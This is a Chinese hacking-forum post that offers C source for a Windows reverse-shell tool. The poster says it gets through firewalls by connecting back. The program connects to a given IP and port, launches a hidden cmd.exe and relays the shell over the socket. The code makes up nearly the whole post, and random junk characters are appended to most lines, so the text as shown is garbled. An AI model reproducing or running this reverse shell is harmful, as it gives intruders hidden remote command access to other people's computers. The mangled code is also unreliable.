社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4911阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F|\^O[#R  
tA'O66.  
/* ============================== *aF#on{  
Rebound port in Windows NT n$B SO  
By wind,2006/7 `j+aAxJ=\  
===============================*/ e= $p(  
#include @ *W)r~ "~  
#include 4D(5WJ&  
G3O`r8oZcJ  
#pragma comment(lib,"wsock32.lib") pC<~\RR  
?K9&ye_rgw  
void OutputShell(); ,h1 z8.wD|  
SOCKET sClient; F)dJws7-  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Pi|WOE2  
#6O<!{PH6  
void main(int argc,char **argv) G&qO{" Js  
{ )`;Q]?D   
WSADATA stWsaData; [Q(FBoI|  
int nRet;  l* C>  
SOCKADDR_IN stSaiClient,stSaiServer; m~`d<RM/  
9z>I&vcX  
if(argc != 3) MDkcG"O  
{ G Y??q8  
printf("Useage:\n\rRebound DestIP DestPort\n"); \@IEqm6  
return; mO];+=3v8  
} B",5"'id  
&/XRiK1"0  
WSAStartup(MAKEWORD(2,2),&stWsaData); OU2.d7  
(C{l4  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z4 GcS/3K  
?#N: a  
stSaiClient.sin_family = AF_INET; K?]><z{  
stSaiClient.sin_port = htons(0); &>Zm gz  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *4]u?R  
04;E^,V  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +fh@m h0[  
{ }_,\yC9F  
printf("Bind Socket Failed!\n"); q [}<LU  
return; ~SKV%  
} MR")  
DxuT23. (  
stSaiServer.sin_family = AF_INET; }STTDq4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 'mwgHo<u  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); is?#wrV=K  
].AAHu5  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I8ZBs0sfF{  
{ 80(Olf@PE  
printf("Connect Error!"); ,|5|aVfh  
return; Jd]kg,/  
} SX/ E@vYb  
OutputShell(); :%&|5Ytb  
} !TNp|U!  
zx #HyO[a  
void OutputShell() <'y}y}%  
{ $<NrJgQ  
char szBuff[1024]; hQWo ]WF(J  
SECURITY_ATTRIBUTES stSecurityAttributes; DxM$4  
OSVERSIONINFO stOsversionInfo; K_SURTys  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; JxP&znng  
STARTUPINFO stStartupInfo; L0lqm0h  
char *szShell; {[I]pm~n  
PROCESS_INFORMATION stProcessInformation; e]9Z]a2  
unsigned long lBytesRead; gWK[%.Jnw  
Z]~) ->=}  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0Dt-!Q7  
Zk:Kux[7  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U ;%cp  
stSecurityAttributes.lpSecurityDescriptor = 0; NIo!WOi  
stSecurityAttributes.bInheritHandle = TRUE; ,1K`w:uhS  
}srmG|@:  
!"d"3coQ?  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Xp67l!{v  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); VY#nSF`  
SSQB1c  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); iNCT(N~.  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @S<6#zR  
stStartupInfo.wShowWindow = SW_HIDE; .&i_~?1[N  
stStartupInfo.hStdInput = hReadPipe; ;:PxWm|_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; saa3BuV 6  
''Y'ZsQ;  
GetVersionEx(&stOsversionInfo); Fp&tJ]=B.  
<9dfbI)  
switch(stOsversionInfo.dwPlatformId) GBY-WN4sc[  
{ M!Ua/g=u  
case 1: le|Rhs%Z%  
szShell = "command.com"; \1ncr4  
break; Ur9L8EdC  
default: 6 h%,%  
szShell = "cmd.exe"; ,;@v Vm'}  
break; JP,yRb\  
} d-cW47  
0FcG;i+  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); i5 0c N<o  
Y|!m  
send(sClient,szMsg,77,0); LgxsO:mi  
while(1) q o6~)Aws  
{ fZiwuq !_  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >ZwDcuJ~Lz  
if(lBytesRead) ]iY O}JuX  
{ `iN H`:[w  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); dKQu  
send(sClient,szBuff,lBytesRead,0); 2!_DkE  
} ^WkqRs  
else X#>:9  
{ eg1Mdg\a  
lBytesRead=recv(sClient,szBuff,1024,0); U4N H9-U'  
if(lBytesRead<=0) break; Ea)=K'Pz  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); I {%Y0S  
} wq7h8Z}l  
} V!Pe%.>  
Jsa]RA  
return; ,4j^ lgJ  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八